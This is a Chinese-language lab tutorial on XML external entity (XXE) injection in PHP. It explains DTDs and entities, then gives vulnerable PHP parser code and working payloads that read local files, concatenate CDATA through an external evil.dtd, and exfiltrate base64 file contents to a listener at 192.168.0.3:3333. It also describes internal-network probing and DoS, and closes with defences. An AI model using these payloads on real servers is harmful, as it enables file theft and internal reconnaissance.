php的xml外部实体注入

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists()filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

想要了解更详细的信息,可以访问php的官方文档:

https://www.php.net/manual/zh/wrappers.php

什么是XML

eXtensible Markup Language,可扩展标记语言,使用简单的标记来描述数据。是一种非常灵活的语言,类似于HTML语言,但是并没有固定的标签,所有的标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。xml不会做任何事情,它是被设计用来结构化、存储以及传输信息,也就是xml文件所携带的信息,需要被其他的语言或者程序来解析,才能发挥作用。

XML的用处

通常,xml被用于信息的记录和传递(比如,数据库的导出导入会很麻烦,但是xml会很方便),也会被用于充当配置文件。也会被应用于Web 开发的许多方面,常用于简化数据的存储和共享。如:

a> XML 把数据从 HTML 分离,更方便再HTML文档中显示动态数据。
b> XML 简化数据共享,XML 数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。这让创建不同应用程序可以共享的数据变得更加容易。
c> XML 简化数据传输,由于可以通过各种不兼容的应用程序来读取数据,以 XML 交换数据降低了不兼容系统之间交换书据的复杂性。
d> XML 简化平台变更,使用XML存储一些不兼容的数据,可以在系统或软件升级,转换大量的数据时,避免数据的丢失。
e> XML 使您的数据更有用,XML可以使不同的应用程序都能够访问您的数据,使得数据的用途更广。
f> XML 用于创建新的互联网语言,如XHTML、WSDL、WAP 和 WML、RSS 、RDF 和 OWL等

什么是XML注入

比如:一个 web 应用,使用进行用户注册时,选择以 xml 来存储数据到 xmldb 数据库中,当用户填写用户名,密码和邮箱时,后台存储的文件格式及内容如下:

<?xml version="1.0" encoding:="UTF-8"?>
<Users>
<user>
<user_name>admin</user_name>
<user_pass>111111</user_pass>
<user_email>admin@test.com</user_email>
</user>
</Users>

那么攻击者就可以在注册的时候构造恶意的数据,假设他在用户名与密码的输入框中输入正常的文本,在最后的邮箱输入框中输入如下内容:

</user_email><user><user_name>admin1</user_name><user_pass>111111</user_pass><user_email>admin1@test.com</user_email></user>

我们看一看这段恶意的输入内容,先是把第一个注册的用户邮箱标签闭合,然后把用户标签闭合,再新建一个完整的用户标签,最后再把最后的没有任何内容的用户标签闭合,那么当这段内容到达xmldb数据中时,就会多注册一个名为admin1的用户。

综合上面的小例子,我么可以知道,能够进行XML注入攻击的前提是,用户能够控制数据的输入,程序没有对输入的内容进行过滤且拼接了数据。那么相应的,破坏掉其中一个前提就可以进行防御了,既然我们无法限制用户的输入,那么就可以对数据进行过滤,将XML语言本身的“保留字符”进行过滤或者转意即可。

什么是XXE注入漏洞:

XXE注入也是XML注入的一部分,但相较于普通的XML注入,XXE注入的攻击面更广,危害更大。

XXE注入(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,所注入的对象就是XML语言中的一个的重点: XML外部实体。当遇见能够解析XML内容的页面时,如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。

XXE的攻击形式主要分为:带内数据实体注入、基于错误的实体注入和带外数据实体注入

带内数据实体注入:in-band ,XML解析后的数据会直接显示在屏幕上
基于错误的实体注入:error-based,解析结果只有一大堆的错误
带外数据实体注入:out-of-band,也叫XXE盲注,注入的XML解析后无任何输出响应,必须执行一些带外请求吧数据提取出来。

XXE注入能做什么:

a> 任意文件读(本实验重点)

b> SSRF,服务端请求伪造,借助漏洞实现内网探测,比如内网的存活主机、开放端口等

c> DOS攻击

d> 远程命令执行

PHP的XXE注入产生的条件

a> Libxml的版本尽可能的低,libxml是PHP的xml解析库,因为从2.8.0版本开始,libxml默认是不加载外部实体的,如果要使用较高版本的libxml的话,需要在编写代码的时候对参数做设置。

b> 目标主机没有禁用外部实体的引用。

c> 用户可以控制xml的输入内容

实验环境

系统类型: Windows7_x64

IP地址: 192.168.0.3

所用软件: phpstudy、BurpSuite、ncat

实验内容主要分为四个部分:

实验步骤

1. XML基础必备

2. 有回显的本地文件读取(In-band 带内数据实体注入)。

3. 无回显的本地文件读取(OOB out-of-band 外带参数实体注入)。

4. PHP中的XXE注入漏洞的其他利用方式

XML基础必备

<?xml version="1.0" encoding:="UTF-8"?>
<Users>
<user>
<user_name>admin</user_name>
<user_pass>111111</user_pass>
<user_email>admin@test.com</user_email>
</user>
</Users>

如上代码,第一行是XML文档的声明,由“”结尾,其中的内容是对本xml文档所使用的版本 “version”和编码“encoding”的声明,version一般情况下都是1.0,因为目前为止,xml只有这一个版本。

从第三行开始,就是XML文档的主要内容了,如代码中所示的“”,是本文档的根元素,“”是“”的子元素,而“”也都是子元素,但是是“”的子元素。

XML的格式

a>. 声明信息,用于描述xml的版本及编码格式。****

b>. xml有且仅有一个根元素(可以理解为顶级的元素、没有被其他元素包起来的元素)。

c>. xml中大小写敏感

d>. 标签是成对出现的,所有元素都必须有一个关闭标签,而且要正确嵌套。

e>. 属性值要使用双引号,比如某标签有个id属性,那么id的值需要使用双引号

f>. 注释的写法。

<!--1-->

g>. 一个格式良好的xml文件

<?xml version="1.0" encoding="utf-8"?>

<books>
<book id="b01">
<name>Python黑客编程从入门到入狱</name>
<author>张三</author>
<price>$20.00</price>
</book>
</books>

h>. XML并不是让用户直接打开的,而是让别的语言来从文件中读取信息的。至于为什么可以直接用浏览器浏览,只是部分浏览器可以识别而已。

XML的属性

虽然XML像HTML一样,也有属性,但是一般不推荐使用属性,如果某个信息看起来很像是数据,那么最好是使用元素来表示它,而不是属性。

XML验证

拥有正确语法的 XML 被称为”形式良好”的 XML。而判断XML的语法是否合法,叫做XML验证,是通过 DTD进行验证的。

DTD:Document Type Definition 文档类型定义。用于约束xml的文档格式,保证xml是一个有效的xml,DTD分为内部和外部两种。DTD定义在xml文件中视为内部DTD;DTD定义在外部的dtd文件中,视为外部DTD。

说的简单一点,DTD就是对当前的XML文档定义一些规则,比如这个XML文档中的根元素是什么,有几个子元素,每个子元素能出现几次,哪些元素有属性,属性的类型是什么,属性的默认值是什么等等,如果后面的XML内容中,与DTD中的定以不符,如元素个数不符、元素名称大小写不符等,那么XML文件解析时就会报错。

内部DTD的使用:

内部DTD的定义
<!DOCTYPE 根元素 [元素声明]>
元素声明语法
[
<!ELEMENT 根元素 (子元素)>
<!ELEMENT 根元素的子元素 (子元素的子元素,子元素的子元素)>
<!ELEMENT 子元素 (数据类型)>
<!ELEMENT 子元素 (数据类型)>
]
元素声明中的数量词
"+" 表示出现一次或者多次
"?"表示出现0次或多次
"*"表示出现任意次。
属性声明语法
<!ATTLIST 元素名称 属性名称  属性类型 默认值>
<?xml version="1.0" encoding="utf-8"?>
<!--注释-->
<!DOCTYPE books [
<!ELEMENT books (book+)>
<!ELEMENT book (name,author price)>
<!ATTLIST book id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<books>
<book id="b01">
<name>a</name>
<author>张三</author>
<price>$1.00</price>
</book>
</books>

如上,就是一个内部DTD的引用示例,在DTD定义中,要求根元素books的子元素book出现一次及以上,子元素book又有三个子元素,分别为name,author和price,然后声明了元素book的id属性,其类型时CDATA,并且是必须的(#REQUIRED),最后定义了book的三个子元素的数据类型为#PCDATA,这表示这三个元素标签中的内容必须为文本,不能再出现子标签。

外部DTD的使用:

首先需要创建一个外部的dtd文件。内容中不需要包括<!DOCTYPE…>,直接<!ELEMENT…>,如下所示:

<?xml version="1.0" encoding="utf-8"?>
<!ELEMENT books (book+)>
<!ELEMENT book ( name,author,price)>
<!ATTLIST book id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT price (#PCDATA)>

然后在XML文档中引入外部的DTD:

注意外部实体引用时的关键字“SYSTEM”,同时也可以使用“PUBLIC”这个关键字,这两者的区别在于,SYSTEM表示私有的DTD,PUBLIC表示共有的DTD。

DTD实体(重点学习)

首先,什么是DTD实体,简单点理解,实体就像是变量,可以用于存储数据,以便后续的使用。但它的功能又不仅仅是存储,比如外部实体,除了可以存储数据,还可以从远程文件或远程网络中读取内容或调用数据。

从实体被定义的位置来看,实体可以分为内部实体和外部实体,就像内部DTD和外部DTD一样,内部实体,就是在XML文档内部的DTD进行定义的实体,外部实体就是定义在外部DTD文件中然后被引用到当前XML中的实体。

内部实体声明:

声明语法:

一个实体的引用,由三部分构成:&符号, 实体名称, 分号。

内部实体引用示例:

我们可以在桌面上创建一个test.xml文件,将如下内容输入到文件中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Test [
<!ENTITY test "Hello World">
]>

<Test>&test;</Test>

image-20240530102946971

接下来我们使用PHP进行解析:

打开phpstudy的www目录,然后在该路径下新建一个php文件getxml.php(实验环境中已经创建好,在桌面demo/PHP_XML/step1下,getxml.php),将如下代码输入进去:

<?php
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($_GET['xml']);
echo "<pre>";
print_r($xml);
echo "</pre>";
?>

使用浏览器进行访问getxml.php.直接访问可能会有报错,可能是因为我们还没有输入参数,然后我们将将前面的xml代码作为参数传入,可以不复制xml声明,记得要将引用实体时的“&”手动编码为“%26”(因为我们这里使用的是GET传参的方式,所以传入的内容会被进行URL编码,但是&在URL中被认为是两个参数的分隔符,所以如果我们不对其进行URL编码转换,浏览器会把它当作参数的分隔符来处理):

image-20240530103234742

外部实体声明:

声明语法:

声明一个外部实体的关键在于“SYSTEM”这个关键字。SYSTEM在此意图让xml解析器知道,现在声明的是一个外部实体,需要从后面的外部资源中获取内容并存储在内部实体,如果后面的外部资源的语法,存在特殊符号,那么xml解析器会报错。

外部实体引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,比如http、file、ftp等,具体内容如下所示:

image-20240530103307148

外部实体引用示例:

实验环境中已经创建好以下文件,在桌面demo/PHP_XML/step1下,test2.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Test [
<!ENTITY xxe SYSTEM "http://192.168.0.3/out_test.txt">
]>

<Test>&xxe;</Test>

我们可以看到,代码中引入了一个外部实体文件out_test.txt,意思就是将远程主机“http://192.168.0.3/”的out_test.txt的文件内容赋值给实体xxe。我们先在www目录下创建一个out_test.txt,后随便写入点内容。

this is a text

再次打开浏览器,访问getxml.php,将新的xml代码作为参数传入:

image-20240530103454208

另外,从实体的引用方式来区分,实体又可以分为:一般实体、参数实体、预定义实体。

一般实体:General Entities,就是我们上面的示例中的实体,使用&进行引用

预定义实体:Predefined Entities,就是xml本身对一些特殊字符进行了预定义,方便用户直接引用,比如小于号"<",如果直接在xml文档中使用小于号,会被xml解析器视为标签,从而引起解析错误。那么此时就需要调用小于号所对应的预定义实体来引用:<。

参数实体:Parameter Entities,这也是XXE学习中的重点,在XXE利用中经常被使用。

参数实体

参数实体声明:

内部:<!ENTITY % 实体名称 "实体值">
外部:<!ENTITY % 实体名称 SYSTEM "URI">

参数实体应注意以下几点:

(1) 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 “%实体名;” 引用
(2) 只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3) 和通用实体一样,参数实体也可以外部引用

简单理解呢,就是参数实体不能像普通实体那样在xml文档内容中进行引用,它的引用范围只在当前xml文件的DTD声明中,或者是当前的DTD文件中。

参数实体引用示例(实验环境中已经创建好,在桌面demo/PHP_XML/step1下,test3.xml):

<?xml version="1.0" encoding="UTF-8"?>
<!-- 参数实体 -->
<!DOCTYPE Test [
<!ENTITY % par "<!ENTITY hello 'hello para entities'>">
%par;
]>

<Test>&hello;</Test>

像上图这样一个xml文档,我们定义了一个参数实体为par,他的值比较特殊,是一句普通实体的声明,然后是在DTD中使用“%par;”进行引用,最后在xml文档内容中使用“&hello”来引用定义的普通实体hello。所以这个时候,我们直接使用浏览器查看的时候,会是下面的显示:

image-20240530111305856

我们还是使用之前的getxml.php:

测试用的payload,也就是我们所要传的参数(记得在浏览器传参时将&转义为%26):

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
]>

<root>&xxe;</root>

这是利用file协议来直接读取windows的系统配置文件,结果为:

image-20240530112335516

但是这样也不代表这个payload的就适用于任何情况,比如我们更换一个读取的文件xmlerror.txt,内容是

<this is a test>&<##

随便给他放个位置,我这里放在桌面上,我们再使用刚才的payload测试:

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:\Users\Administrator\Desktop\xmlerror.txt">
]>

<root>&xxe;</root>

随便给他放个位置,我这里放在桌面上,我们再使用刚才的payload测试:

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:\Users\Administrator\Desktop\xmlerror.txt">
]>

<root>&xxe;</root>

image-20240530112606820

这个时候就会如上图一样,报很多错误,主要是因为我们要读取的文件内容中存在很多的特殊字符:大于号、小于号等,我们在前面的XML基础中也提到过,当xml的标签内还存在小于号、大于号等特殊字符时,尤其是小于号,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误。

所以我们就要想办法绕过。我们这里提供两种绕过办法:

1. php伪协议
2. XML CDATA

我们先使用伪协议进行读取,使用的payload如下:

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Users/Administrator/Desktop/xmlerror.txt">
]>

<root>%26xxe;</root>
#PHRoaXMgaXMgYSB0ZXN0PiY8IyM=

image-20240530112746123

image-20240530112824450

进行base64解码后,就是文件的内容

接下来,我们利用CDATA进行内容的读取:

需要先了解一下XML CDATA,默认情况下,XML文档中的文本都会被XML解析器解析,但是会忽略CDATA区段中的文本。

我们看下W3school提供的CDATA使用方式:

image-20240530113037168

从w3school给出的例子,我们也大概知道了CDATA的使用方式,但是其还需要注意几点:

a> CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分,这样会导致异常的闭合,从而使解析器报错。
b> 标记 CDATA 部分结尾的 "]]>" 不能包含空格或换行。

那么了解了这些,我们就可以尝试使用CDATA再次去读取目标文件的内容,我们首先需要把要读取的到的内容放在CDATA中,但是CDATA并没有提供拼接的方法,所以我们需要去尝试,我们这里暂且使用普通实体进行拼接尝试(注意是尝试)

<!DOCTYPE root [
<!ENTITY start "<![CDATA[">
<!ENTITY xxe SYSTEM "file:///C:\Users\Administrator\Desktop\xmlerror.txt">
<!ENTITY end "]]>">
]>
<root>&start;&xxe;&end;</root>

我们的想法是这样的,将CDATA的格式内容写在start和end两个实体里面,然后在调用实体的时候,先后调用三个实体,将实体内容进行拼接,拼接后的内容被XML解析器解析。但是测试失败:

image-20240530113409608

这说明我们的拼接方式不可行,我们现在使用的是一般实体,我们在前面的xml基础知识中介绍过了,一般实体的引用是在xml文档内容中,既然在xml文档内容中拼接不可行,那在dtd中拼接可行吗?我们再次进行尝试,既然再dtd中拼接,那就需要用到参数实体了。

我们再次尝试构造payload:

<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///C:\Users\Administrator\Desktop\xmlerror.txt">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%xxe;%end;">
]>

<root>&all;</root>

image-20240530113535516

理论上,我们完美地将这几个参数实体拼接了起来,并将值赋给了一般实体all,但是遗憾的是,我们的payload还是报错了:

那么这又是为什么呢?根据XML规范所描述:“在DTD内部子集中的参数实体调用,不能混掺到标记语言中”,这是什么意思呢?就是不能在实际的标记语言中来调用参数实体,像我们这样,就是在标记语言中进行调用,他需要在DTD中单独来调用:

image-20240530113612099

规范中,还说到:“但可以在同级别中被当作标记语言调用” ,就像是参数实体的引用,就是将调用当成了一个标记语言,也就是我们前面说的需要在DTD中单独调用,像这样:

image-20240530113618932

也就是我们所构造的payload这种使用方式,不能在内部DTD中被这样使用,但是幸运的是,XML规范还声明了一点:“外部参数实体不受此限制”,这就告诉我们可以使用外部的DTD来构造payload,将我们的CDATA内容拼接起来:

image-20240530113636226

这就要求我们作为攻击者,需要有一台服务器来提供外部的恶意DTD文件的读取,我们实验环境中就用一个机器来同时作为攻击机和受害机,效果一样的。

DTD文件的内容:

<!ENTITY evil "%start;%xxe;%end;" >
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///C:\Users\Administrator\Desktop\xmlerror.txt">
<!ENTITY % end "]]>">
<!ENTITY % all SYSTEM "http://192.168.0.3/evil.dtd">
%all;
]>
<root>&evil;</root>

image-20240530114154563

这是因为,漏洞示例代码中的打印函数选的不好,print_r()函数在遇到这种内容中有导致标签闭合的字符串时,就会返回出空的SimpleXMLElement对象。我们可以做如下测试,编辑如下php代码(已经存在于step2路径下print_test.php和网站根目录下index.php):

<?php
##echo "Hello World";
$xml=<<<XML
<?xml version='1.0'?>
<!DOCTYPE root [
<!ENTITY start "<![CDATA['<>!@#!$']]>">
]>
<root>&start;</root>
XML;
$xxe_ = simplexml_load_string($xml);
print($xxe_);
echo "----------------------------";
echo $xxe_;
echo "----------------------------";
print_r($xxe_);
?>

image-20240530114316095

可见,唯独print_r(),没有输出这些特殊的字符串。这种情况,如果漏洞代码中使用的是echo,就可以输出了。感兴趣的同学可以自己修改代码来验证。

Ps:

由于环境资源的关系,我们在进行攻击时,所使用的外部dtd文件,是本地环境的。但是在实际的攻击情况下,这个DTD文件应该是我们自己所掌握的主机的DTD文件,文件的内容是受我们所控的。

无回显的本地文件读取

(OOB out-of-band 外带参数实体注入)

在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据

先看一下漏洞示例(已经在桌面demo/PHP_XML/step3/out_xxe.php和网站根目录下out_xxe.php):

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
?>

相较于前面有回显的漏洞代码,主要功能没有大的变化,但是代码中没有内容输出的部分。这样,用之前的payload就没有作用了(当然这个任务中的漏洞示例代码,加个输出,也同样适用于前面的任务)。

那么怎样才能成功读取到内容呢,我们可以这样进行Payload的构造:

有了前面使用外部DTD文件来拼接内部DTD的参数实体的经验,我们可以知道,通过外部DTD的方式可以将内部参数实体的内容与外部DTD声明的实体的内容拼接起来,那么我们就可以有这样的设想:

我们可以在本地做一个端口监听,然后利用payload来从目标主机读取到文件内容后,将文件内容作为url的一部分来请求我们本地监听的端口,这样,我们只需要查看请求的url就可以知道读取到的内容是什么。

首先,我们使用ncat监听一个端口:

ncat -lvvp 3333

然后,我们构造payload:

我们选择使用外部DTD,在我们自己所能掌控(或是自己搭建)的主机上编写一个dtd文件(实验环境中,就是我们所使用的这台机器),我在这里命名为evil_xxe.dtd:

(已经在桌面demo/PHP_XML/step3/evil_xxe.dtd和网站根目录下evil_xxe.dtd)

<!ENTITY % xxe SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Users/Administrator/Desktop/xmlerror.txt">
<!ENTITY % dtd "<!ENTITY send SYSTEM 'http://192.168.0.3:3333/?%xxe;'>">
%dtd;

第一个参数实体的声明中使用到了php的伪协议,将需要读取的内容进行base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。

然后第二个参数实体,对我们监听的主机和端口进行访问,并将读取到的参数实体xxe的内容作为请求的参数。

这样,Payload就会很简单了:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "http://192.168.0.3/evil_xxe.dtd">
<root>&send;</root>

bp抓包,加入payload

image-20240530115304630

然后查看我们的端口监听情况,会发现我们收到了一个连接请求,问号后面的内容就是我们读取到的文件内容经过编码后的字符串:

image-20240530115450922

Ps:

有时候也会出现报错的情况,一方面我们在漏洞的代码中没有屏蔽错误和警告,另一方面如果我们监听的端口失效,当目标服务器尝试访问我们监听的端口,但失败的时候,就会爆出错误和警告,但是也可以从爆出的警告中看到我们需要的信息。

image-20240530115518077

XXE其他利用方式

当然进行内网探测我们还需要做一些准备工作,就是获取目标主机在内网中的IP地址,或是内网的网络划分信息,我们可以先利用 file 协议读取我们作为跳板服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 等跟内网配置有关的文件,我们可以通过这些文件的内容来获取更多有关内网的信息。

如果实在没有办法获取目标主机的内网配置相关信息,,,那就花费时间爆破吧。

内网存活主机探测:

如下,其实payload就是简单的一个外部实体的注入payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://192.168.0.3/">
<root>&send;</root>

image-20240530115905642

只不过是将http://后面的部分替换为目标主机,这样当目标主机存活时,如果80端口没有对应的服务,那么很快就会i发现警告信息,如上图。

那如果目标主机不存在,那么我们所利用的XXE漏洞的服务器,就会花费一些时间在网络总寻找目标主机,直到超时。如下图:

image-20240530120058731

如果觉得手动的探测慢的话,当然可以自己编写一个脚本来进行自动探测,将没有超时的主机记录下来即可。

内网主机端口探测:

同样的,根据内网存活主机的扫描方式,我们也可以针对某个主机进行端口的扫描。但是端口的探测准确性比较低,判断的标准也不一样。由于环境的不同,版本的不同,你可能会遇到任何一个端口的返回都是200状态码和警告信息以及我们期望输出的字符串,那么这个时候哪些端口是打开的,哪些端口是关闭的,就需要你自己去判断了。

通过XXE漏洞进行命令执行(非本实验重点)

这种情况比较少见,所需的前提条件除了真实存在XXE漏洞外,大概还需要:

a> 目标系统为Linux系统
b> 目标系统成功安装PHP的expect扩展

而且这个漏洞所执行的命令也有限制:

a> 可执行的命令与当前用户的权限大小有关
b> 命令中不能有空格,否则会报错

一般情况下payload(实验环境限制,我们的环境时windows环境,没有进行测试,大家可以在自己的本地搭建Linux环境测试):

image-20240530120038746

通过XXE漏洞进行DOS攻击(不要轻易尝试,当然,也可能现在已经没有效果了)

Payload如下:

image-20240530120031896

上面的payload就是著名的“billion laughs”攻击,该代码可以在目标主机的内存中生成十亿个“lol”字符串,从而导致 Dos攻击。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。原理为:通过创建一项递归的 XML 定义,构造恶意的XML实体文件耗尽可用内存,如以上代码所示,在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值,而每个lol8又包含了十个lol7的值…最后产生10亿个“lol”字符串,占用内存约高达3GB。因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,这样,就会占用大量的内存资源,造成了拒绝服务器攻击。

防御方式

方案一:

过滤用户输入的xml数据,比如尖括号,一些关键字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC等

方案二:

禁用外部实体:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))